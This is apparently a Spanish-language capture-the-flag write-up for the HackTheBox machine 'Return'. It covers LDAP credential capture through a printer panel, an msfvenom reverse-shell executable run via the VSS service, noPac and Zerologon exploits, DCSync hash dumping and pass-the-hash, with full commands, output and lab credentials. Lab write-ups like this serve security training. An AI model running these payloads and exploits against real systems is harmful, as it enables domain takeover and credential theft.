xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackTheBox

Return



Enumeración


Iniciamos la máquina escaneando los puertos de la máquina con nmap donde encontramos varios puertos abiertos, entre ellos el 80 que corre un servicio http

❯ nmap 10.10.11.108
Nmap scan report for 10.10.11.108  
PORT      STATE SERVICE
53/tcp    open  domain
80/tcp    open  http
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5985/tcp  open  wsman
9389/tcp  open  adws
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49668/tcp open  unknown
49671/tcp open  unknown
49674/tcp open  unknown
49675/tcp open  unknown
49677/tcp open  unknown
49680/tcp open  unknown
49688/tcp open  unknown
49698/tcp open  unknown

Con crackmapexec ademas del nombre de la maquina obtenemos su dominio

❯ crackmapexec smb 10.10.11.108
SMB         10.10.11.108   445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)  

Para posibles proximos ataques o solo por comodidad lo agregamos al /etc/hosts

❯ echo "10.10.11.108 return.local" | sudo tee -a /etc/hosts  

Iniciemos con la web, al abrirla podemos ver un panel de admin de una impresora, la web es algo sencilla sin embargo en la parte de arriba tenemos varias pestañas


Shell - svc-printer


En la pestaña settings encontramos que podemos cambiar varias cosas, y en un campo hay una contraseña por defecto que de primeras no podemos verla

Parece hace una petición al host por el puerto 389 ldap enviando el usuario y la contraseña, podemos cambiar el host por el nuestro para capturar la petición

Con Wireshark podemos capturar todo el tráfico entrante, al enviar la petición en la web recibimos trafico ldap el cual contiene las credenciales de svc-printer

Comprobamos las credenciales con crackmapexec y son validas tanto para smb como para winrm lo que significa que nos podemos conectar y obtener una shell

❯ crackmapexec smb return.local -u svc-printer -p '1edFg43012!!'
SMB         return.local    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)  
SMB         return.local    445    PRINTER          [+] return.local\svc-printer:1edFg43012!!

❯ crackmapexec winrm return.local -u svc-printer -p '1edFg43012!!'
SMB         return.local    5985   PRINTER          [*] Windows 10.0 Build 17763 (name:PRINTER) (domain:return.local)
HTTP        return.local    5985   PRINTER          [*] http://return.local:5985/wsman
WINRM       return.local    5985   PRINTER          [+] return.local\svc-printer:1edFg43012!! (Pwn3d!)

Al conectarnos con evil-winrm obtenemos una powershell, podemos leer la flag

❯ evil-winrm -i return.local -u svc-printer -p '1edFg43012!!'  
PS C:\Users\svc-printer\Documents> whoami
return\svc-printer
PS C:\Users\svc-printer\Documents> type ..\Desktop\user.txt
889**************************751
PS C:\Users\svc-printer\Documents>


Shell - Administrator


Listando los grupos a los que pertenecemos podemos ver uno bastante inusual y que nos puede servir para escalar privilegios, este es Server Operators

PS C:\Users\svc-printer\Documents> Get-ADPrincipalGroupMembership svc-printer | Select Name  

Name
----
Domain Users
Print Operators
Remote Management Users
Server Operators

PS C:\Users\svc-printer\Documents>

Para explotarlo iniciamos creando un archivo exe con msfvenom el cual se encargara de enviarnos una powershell a nuestro host por el puerto 443 cuando se ejecute

❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f exe -o shell.exe  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1887 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe

Podemos subirlo facilmente con la función upload incluida con evil-winrm

PS C:\Users\svc-printer\Documents> upload shell.exe

Info: Uploading shell.exe to C:\Users\svc-printer\Documents\shell.exe

Data: 10920 bytes of 10920 bytes copied

Info: Upload successful!

PS C:\Users\svc-printer\Documents>

Ahora con sc.exe configuramos el servicio VSS pasandole como binpath la ruta absoluta de nuestro archivo exe malicioso, para cuando se inicie este lo ejecute

PS C:\Users\svc-printer\Documents> sc.exe config VSS binpath="C:\Users\svc-printer\Documents\shell.exe"  
[SC] ChangeServiceConfig SUCCESS
PS C:\Users\svc-printer\Documents>

Detenemos y corremos de nuevo el servicio para que en el arranque ejecute el exe, al hacerlo recibimos una shell a nuestro listener como nt authority\system

PS C:\Users\svc-printer\Documents> sc.exe stop VSS
[SC] ControlService FAILED 1062:

The service has not been started.

PS C:\Users\svc-printer\Documents> sc.exe start VSS
[SC] StartService FAILED 1053:

The service did not respond to the start or control request in a timely fashion.  

PS C:\Users\svc-printer\Documents>

❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.108 50603
Windows PowerShell running as user PRINTER$ on PRINTER
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
nt authority\system
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt  
847**************************72c
PS C:\Windows\system32>


Extra 1 - Administrator


Como alternativa podemos usar noPac, al explotarlo indicando el parametro -shell nos otorgara una cmd como el usuario nt authority\system directamente en el DC

❯ python3 noPac.py return.local/svc-printer:'1edFg43012!!' -use-ldap -shell -dc-ip 10.10.11.108  

███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
    
[*] Current ms-DS-MachineAccountQuota = 10
[*] Selected Target printer.return.local
[*] Total Domain Admins 1
[*] will try to impersonate Administrator
[*] Adding Computer Account "WIN-GYTSRCKNBEL$"
[*] MachineAccount "WIN-GYTSRCKNBEL$" password = XuWE@U^RHCI@
[*] Successfully added machine account WIN-GYTSRCKNBEL$ with password XuWE@U^RHCI@.
[*] WIN-GYTSRCKNBEL$ object = CN=WIN-GYTSRCKNBEL,CN=Computers,DC=return,DC=local
[*] WIN-GYTSRCKNBEL$ sAMAccountName == printer
[*] Saving a DC's ticket in printer.ccache
[*] Reseting the machine account to WIN-GYTSRCKNBEL$
[*] Restored WIN-GYTSRCKNBEL$ sAMAccountName to original value
[*] Using TGT from cache
[*] Impersonating Administrator
[*] 	Requesting S4U2self
[*] Saving a user's ticket in Administrator.ccache
[*] Rename ccache to Administrator_printer.return.local.ccache
[*] Attempting to del a computer with the name: WIN-GYTSRCKNBEL$
[-] Delete computer WIN-GYTSRCKNBEL$ Failed! Maybe the current user does not have permission.
[*] Pls make sure your choice hostname and the -dc-ip are same machine !!
[*] Exploiting..
[!] Launching semi-interactive shell - Careful what you execute

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>


Extra 2 - Administrator


Como alternativa podemos ejecutar la vuln de zerologon hacia el DC, el servidor es vulnerable y logramos cambiar la contraseña del equipo por una cadena vacia

❯ python3 cve-2020-1472-exploit.py PRINTER 10.10.11.108
Performing authentication attempts...
==========================================================================  
Target vulnerable, changing account password to empty string

Result: 0

Exploit complete!

Autenticandonos como el equipo PRINTER$ con una cadena vacia como contraseña podemos hacer un DCSync y ver los hashes NT de todos los usuarios del dominio

❯ crackmapexec smb return.local -u PRINTER$ -p '' --ntds drsuapi 
SMB         return.local    445    PRINTER          [*] Windows 10.0 Build 17763 x64 (name:PRINTER) (domain:return.local) (signing:True) (SMBv1:False)  
SMB         return.local    445    PRINTER          [+] return.local\PRINTER$: 
SMB         return.local    445    PRINTER          [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
SMB         return.local    445    PRINTER          [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         return.local    445    PRINTER          Administrator:500:aad3b435b51404eeaad3b435b51404ee:32db622ed9c00dd1039d8288b0407460:::
SMB         return.local    445    PRINTER          Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB         return.local    445    PRINTER          krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4e48ce125611add31a32cd79e529964b:::
SMB         return.local    445    PRINTER          return.local\svc-printer:1103:aad3b435b51404eeaad3b435b51404ee:c1d26bdcecf44246b5f8653284331a2e:::
SMB         return.local    445    PRINTER          PRINTER$:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

Ya con el hash NT del usuario Administrator haciendo un passthehash podemos autenticarnos con evil-winrm y obtener una shell como Administrator

❯ evil-winrm -i return.local -u Administrator -H 32db622ed9c00dd1039d8288b0407460  
PS C:\Users\Administrator\Documents> whoami
return\Administrator
PS C:\Users\Administrator\Documents> type ..\Desktop\root.txt
847**************************72c
PS C:\Users\Administrator\Documents>